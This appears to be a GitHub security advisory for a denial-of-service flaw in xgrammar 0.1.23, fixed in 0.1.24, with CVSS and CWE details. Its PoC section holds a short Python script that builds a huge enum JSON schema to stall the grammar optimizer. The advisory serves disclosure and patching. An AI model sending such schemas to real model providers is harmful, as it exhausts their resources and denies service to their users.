xgrammar vulnerable to denial of service by huge enum grammar

Description

Summary

Provided grammar, would fit in a context window of most of the models, but takes minutes to process in 0.1.23. In testing with 0.1.16 the parser worked fine so this seems to be a regression caused by Earley parser.

Details

Full reproducer provider in the POC section. The resulting grammar is around 70k tokens, and the grammar parsing itself (with the models I checked) was significantly longer than LLM processing itself, meaning this can be used to DOS model providers.

Patch

This problem is caused by the grammar optimizer introduced in v0.1.23 being too slow. It only happens for very large grammars (>100k characters), like the below one. v0.1.24 solved this problem by optimizing the speed of the grammar optimizer and disable some slow optimization for large grammars.

Thanks to @Seven-Streams

PoC

import string
import random

def enum_schema(size=10000,str_len=10):
    enum =  {"enum": ["".join(random.choices(string.ascii_uppercase, k=str_len)) for _ in range(size)]}
    schema = {
        "definitions": {
            "colorEnum": enum
        },
        "type": "object",
        "properties": {
            "color1": {
                "$ref": "#/definitions/colorEnum"
            },
            "color2": {
                "$ref": "#/definitions/colorEnum"
            },
            "color3": {
                "$ref": "#/definitions/colorEnum"
            },
            "color4": {
                "$ref": "#/definitions/colorEnum"
            },
            "color5": {
                "$ref": "#/definitions/colorEnum"
            },
            "color6": {
                "$ref": "#/definitions/colorEnum"
            },
            "color7": {
                "$ref": "#/definitions/colorEnum"
            },
            "color8": {
                "$ref": "#/definitions/colorEnum"
            }
        },
        "required": [
                "color1",
                "color2"
         ]
    }
    return schema

schema_enum = enum_schema()
print(schema_enum)
print(test_schema(schema_enum, {}))

where:

def test_schema(schema, instance):
    grammar = xgr.Grammar.from_json_schema(
        json.dumps(schema),
        strict_mode=True
    )
    return _is_grammar_accept_string(grammar, json.dumps(instance))

Impact

DOS

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2025-09-05 21:10:06 UTC
Updated
2025-09-10 20:51:30 UTC
GitHub reviewed
2025-09-05 21:10:06 UTC
NVD published
2025-09-06

EPSS Score

Score Percentile
0.09% 26.08%

CVSS Scores

Base score Version Severity Vector
6.9 4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network.
Attack complexity (AC:L)
Exploitation conditions are straightforward and stable.
Attack requirements (AT:N)
No additional preconditions are required beyond normal reachability.
Privileges required (PR:N)
No privileges are required.
User interaction (UI:N)
No user interaction is required.
Vulnerable system confidentiality impact (VC:N)
No confidentiality impact on the vulnerable system.
Vulnerable system integrity impact (VI:N)
No integrity impact on the vulnerable system.
Vulnerable system availability impact (VA:L)
Limited availability impact on the vulnerable system.
Subsequent system confidentiality impact (SC:N)
No confidentiality impact on subsequent systems.
Subsequent system integrity impact (SI:N)
No integrity impact on subsequent systems.
Subsequent system availability impact (SA:N)
No availability impact on subsequent systems.
Exploit maturity (threat) (E:X)
Not defined: no reliable threat intelligence; scoring assumes the worst case (equivalent to Attacked).
Confidentiality requirement (CR:X)
Not defined: insufficient information; scoring treats this like High (worst case).
Integrity requirement (IR:X)
Not defined: insufficient information; scoring treats this like High (worst case).
Availability requirement (AR:X)
Not defined: insufficient information; scoring treats this like High (worst case).
Modified attack vector (MAV:X)
Not defined: scoring uses the Base Attack Vector (AV).
Modified attack complexity (MAC:X)
Not defined: scoring uses the Base Attack Complexity (AC).
Modified attack requirements (MAT:X)
Not defined: scoring uses the Base Attack Requirements (AT).
Modified privileges required (MPR:X)
Not defined: scoring uses the Base Privileges Required (PR).
Modified user interaction (MUI:X)
Not defined: scoring uses the Base User Interaction (UI).
Modified vulnerable system confidentiality impact (MVC:X)
Not defined: scoring uses the Base VC metric.
Modified vulnerable system integrity impact (MVI:X)
Not defined: scoring uses the Base VI metric.
Modified vulnerable system availability impact (MVA:X)
Not defined: scoring uses the Base VA metric.
Modified subsequent system confidentiality impact (MSC:X)
Not defined: scoring uses the Base SC metric.
Modified subsequent system integrity impact (MSI:X)
Not defined: scoring uses the Base SI metric.
Modified subsequent system availability impact (MSA:X)
Not defined: scoring uses the Base SA metric.
Safety (supplemental) (S:X)
Not evaluated.
Automatable (supplemental) (AU:X)
Not evaluated.
Recovery (supplemental) (R:X)
Not evaluated.
Value density (supplemental) (V:X)
Not evaluated.
Vulnerability response effort (supplemental) (RE:X)
Not evaluated.
Provider urgency (supplemental) (U:X)
Not evaluated.

Identifiers

CWEs

CWE id Name
CWE-770 Allocation of Resources Without Limits or Throttling

Credits

  • xendo (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
pip xgrammar = 0.1.23 0.1.24

References

cvelogic Threat Intelligence